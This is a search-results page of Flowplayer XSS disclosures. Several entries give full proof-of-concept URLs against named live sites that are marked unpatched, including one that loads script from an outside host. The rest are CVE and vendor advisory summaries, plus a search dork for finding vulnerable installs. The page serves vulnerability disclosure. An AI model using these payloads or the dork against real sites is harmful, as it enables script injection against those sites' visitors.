298 matches found
gopost.usps.com XSS vulnerability
Vulnerable URL: https://gopost.usps.com/media/video/flowplayer/swf/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...
doc.ri.gov XSS vulnerability
Vulnerable URL: http://www.doc.ri.gov/RIDOCTour/FlowPlayer.swf?config=playList: url: "http://stream.flowplayer.org/bauhaus/624x260.mp4", linkUrl: "javascript:confirm'OPENBUGBOUNTY'"&.swf Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS...
alumni-informatik-dortmund.de XSS vulnerability
Vulnerable URL: https://alumni-informatik-dortmund.de/modules/flowplayer/flowplayer/flowplayer.swf?config=%22clip%22:%22url%22:%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%22linkUrl%22:%22javascript:confirm%28String.fromCharCode%2879,80,69,78,66,85,71,66,79,85,78,84,89%29%29;%22&.swf...
bioness.com XSS vulnerability
Vulnerable URL: https://www.bioness.com/prebuilt/flash/FlowPlayer.swf?config=playList:%20%20url:%20%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%20linkUrl:%20%22javascript:confirm%28%27OPENBUGBOUNTY%27%29%22&.swf Details: Description| Value ---|--- Patched:| No Latest check for patch:|...
Moodle < 2.7.11 / 2.8.x < 2.8.9 / 2.9.x < 2.9.3 Multiple Vulnerabilities
Binary data 9191.prm...
The vulnerability of the Moodle learning management system allows attackers to carry out XSS attacks.
The vulnerability of the Moodle learning management system is related to the insufficient restrictions on the use of the Flowplayer component. Exploiting this vulnerability could allow a malicious actor to carry out XSS attacks using a specially created .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
Cross site scripting
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
UBUNTU-CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
FV Flowplayer Video Player <= 6.0.3.3 - Authenticated Stored Cross-Site Scripting (XSS)
The FV Flowplayer Video Player WordPress plugin was affected by an Authenticated Stored Cross-Site Scripting XSS security vulnerability...
WordPress Flowplayer Plugin <= 6.0.3.3 - Stored Cross Site Scripting
Because of this vulnerability, authenticated administrators can store HTML or JS code in plugin configuration values. Solution Upgrade this plugin...
TYPO3 Flowplayer Library Cross-Site Scripting Vulnerability
TYPO3 is a free and open source content management system framework CMS/CMF maintained by the TYPO3 Association in Switzerland.Flowplayer library is one of the Flash video playback libraries. A cross-site scripting vulnerability exists in the TYPO3 Flowplayer library versions 6.2.0 through 6.2.13...
Cross-Site Scripting in 3rd party library Flowplayer
More info at https://typo3.org/security/advisory/typo3-core-sa-2015-007...
Cross-Site Scripting in 3rd party library Flowplayer
It has been discovered, that editors could change, create or delete metadata of files without permission. Component Type: TYPO3 CMS Release Date: July 1, 2015 Vulnerable subcomponent: Backend Vulnerability Type: Cross-Site Scripting Affected Versions: Versions 6.2.0 to 6.2.13, 7.0.0 to 7.3.0...
Reflected Cross-Site Scripting (XSS) in Flash Version of Flowplayer
Description: The flash file accept its configuration via a JSON object. This object can be passed directly or via a file. The old version of this flash file was vulnerable because of loading insecure external flash files. The latest version and the previous ones are also vulnerable because of lac...
Flowplayer Cross Site Scripting
Flowplayer js & swf XSS Vulnerability Date: 15/5/14 Vulnerablity Risk : High Vulnerable Sofware: http://flowplayer.org/ Dork : inurl:flowplayer/flowplayer.swf Author: Muhammad Adeel aka Innoxent Stoker Founder | Urdusecurity.blogspot.com Vulnerability xss is Cross Site Scripting vuln Which actual...
CVE-2013-7341
Multiple cross-site scripting XSS vulnerabilities in Flowplayer Flash before 3.2.17, as used in Moodle through 2.3.11, 2.4.x before 2.4.9, 2.5.x before 2.5.5, and 2.6.x before 2.6.2, allow remote attackers to inject arbitrary web script or HTML by 1 providing a crafted playerId or 2 referencing a...
CVE-2013-7343
Cross-site scripting XSS vulnerability in flowplayer.swf in the Flash fallback feature in Flowplayer HTML5 5.4.3 allows remote attackers to inject arbitrary web script or HTML by using URL encoding within the callback parameter name. NOTE: this vulnerability exists because of an incomplete fix fo...